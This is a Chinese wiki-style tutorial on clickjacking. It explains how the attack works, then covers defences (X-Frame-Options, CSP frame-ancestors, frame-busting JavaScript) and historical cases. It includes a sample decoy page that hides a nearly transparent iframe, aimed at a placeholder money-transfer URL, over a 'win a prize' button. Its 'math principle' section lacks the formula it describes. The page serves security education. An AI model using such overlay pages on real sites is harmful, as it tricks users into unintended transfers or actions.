JavaScript点击劫持(Clickjacking)
外观
JavaScript点击劫持(Clickjacking)[编辑 | 编辑源代码]
点击劫持(Clickjacking)是一种恶意攻击技术,攻击者通过欺骗用户点击看似无害的页面元素,实际上却触发了隐藏的恶意操作。这种攻击通常利用透明或伪装的iframe覆盖在诱骗页面上,导致用户在不知情的情况下执行非预期的操作,如授权、转账或下载恶意软件。
攻击原理[编辑 | 编辑源代码]
点击劫持的核心是利用CSS和HTML的层叠特性,将目标页面(如银行网站或社交网络)嵌入到一个透明的iframe中,并覆盖在诱骗页面的按钮或链接上。当用户点击诱骗页面的可见元素时,实际上触发了隐藏iframe中的操作。
示例代码[编辑 | 编辑源代码]
以下是一个简单的点击劫持攻击示例:
<!DOCTYPE html>
<html>
<head>
<title>诱骗页面</title>
<style>
#malicious-button {
position: absolute;
top: 100px;
left: 100px;
width: 200px;
height: 50px;
background-color: #4CAF50;
color: white;
text-align: center;
line-height: 50px;
cursor: pointer;
}
#hidden-iframe {
position: absolute;
top: 100px;
left: 100px;
width: 200px;
height: 50px;
opacity: 0.01;
z-index: 2;
}
</style>
</head>
<body>
<div id="malicious-button">点击赢取奖品!</div>
<iframe id="hidden-iframe" src="https://victim-site.com/transfer-money?amount=1000&to=attacker"></iframe>
</body>
</html>
解释:
- 用户看到的是一个绿色的按钮("点击赢取奖品!")。
- 实际上,一个透明的iframe覆盖在按钮上方,其`src`指向目标网站(如银行转账页面)。
- 当用户点击按钮时,实际触发的是iframe中的操作(如转账)。
防御措施[编辑 | 编辑源代码]
开发者可以通过以下方法防止点击劫持攻击:
1. X-Frame-Options 响应头[编辑 | 编辑源代码]
服务器可以通过设置HTTP响应头禁止页面被嵌入iframe:
X-Frame-Options: DENY
或仅允许同源嵌入:
X-Frame-Options: SAMEORIGIN
2. Content Security Policy (CSP)[编辑 | 编辑源代码]
现代浏览器支持通过CSP限制iframe的加载:
Content-Security-Policy: frame-ancestors 'none'
3. JavaScript防御(传统方法)[编辑 | 编辑源代码]
如果旧浏览器不支持上述方法,可以使用JavaScript检测页面是否被嵌入:
if (window.top !== window.self) {
window.top.location = window.self.location;
}
实际案例[编辑 | 编辑源代码]
- Facebook (2009年):攻击者利用点击劫持传播恶意链接,导致用户 unknowingly "liked" 或分享了垃圾内容。
- 银行攻击:透明iframe覆盖在游戏页面上,诱使用户点击时实际确认了转账操作。
- 广告欺诈:伪造广告点击以生成虚假收入。
数学原理(可选)[编辑 | 编辑源代码]
点击劫持的成功概率可以建模为:
其中:
- 是iframe与诱骗元素的重叠面积
- 是用户可见的可点击区域
总结[编辑 | 编辑源代码]
点击劫持是一种危险的UI欺骗攻击,开发者必须通过服务器端和客户端的双重防护来保护用户。现代浏览器已内置防御机制,但兼容旧系统时仍需JavaScript辅助检测。用户也应保持警惕,避免点击不明来源的诱人内容。